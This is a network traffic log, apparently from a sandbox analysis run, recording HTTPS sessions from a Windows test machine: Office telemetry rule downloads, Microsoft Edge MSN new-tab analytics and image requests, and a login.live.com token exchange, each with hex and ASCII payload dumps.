2024-11-22 22:06:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220640Z-174c587ffdfmrvb9hC1TEBtn380000000240000000002ubh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220640Z-15b8b599d886w4hzhC1TEBb4ug000000024g000000005vm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49860	20.110.205.119	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:39 UTC	1175	OUT	GET /c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1
2024-11-22 22:06:40 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F5A781EBD344B789849D40870A32EB8&RedC=c.msn.com&MXFR=1981927DEF30640D17DC8742EE526551 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1981927DEF30640D17DC8742EE526551; domain=.msn.com; expires=Wed, 17-Dec-2025 22:06:40 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49859	52.182.141.63	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313197623&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1
2024-11-22 22:06:40 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 32 32 3a 30 36 3a 33 37 2e 36 31 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 65 31 31 33 63 32 35 2d 66 35 64 31 2d 34 34 30 30 2d 39 64 33 31 2d 37 34 65 66 61 30 30 63 33 38 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 31 31 37 32 36 37 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-22T22:06:37.619Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"ae113c25-f5d1-4400-9d31-74efa00c380d","epoch":"2111726742"},"app":{"locale
2024-11-22 22:06:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=098168caa9ba4209b00813aad833eed1&HASH=0981&LV=202411&V=4&LU=1732313200178; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 22:06:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ad652ee6b83b4c2ab3b5e87ff85ed7aa; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 22:36:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2555 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 22:06:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49861	23.96.180.189	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1981927DEF30640D17DC8742EE526551&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=24f6ace37e9343a9fc8b43a8d852f9b3 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1
2024-11-22 22:06:40 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close
2024-11-22 22:06:40 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49858	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:06:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_BL2 x-ms-request-id: 14666f00-a997-474f-90a7-87bf3c5db545 PPServer: PPV: 30 H: BL02EPF0001D894 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close Content-Length: 11389
2024-11-22 22:06:41 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49862	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:40 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=97463 Expires: Sun, 24 Nov 2024 01:11:03 GMT Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close
2024-11-22 22:06:40 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49864	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:40 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=229835 Expires: Mon, 25 Nov 2024 13:57:15 GMT Date: Fri, 22 Nov 2024 22:06:40 GMT Connection: close
2024-11-22 22:06:40 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49865	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
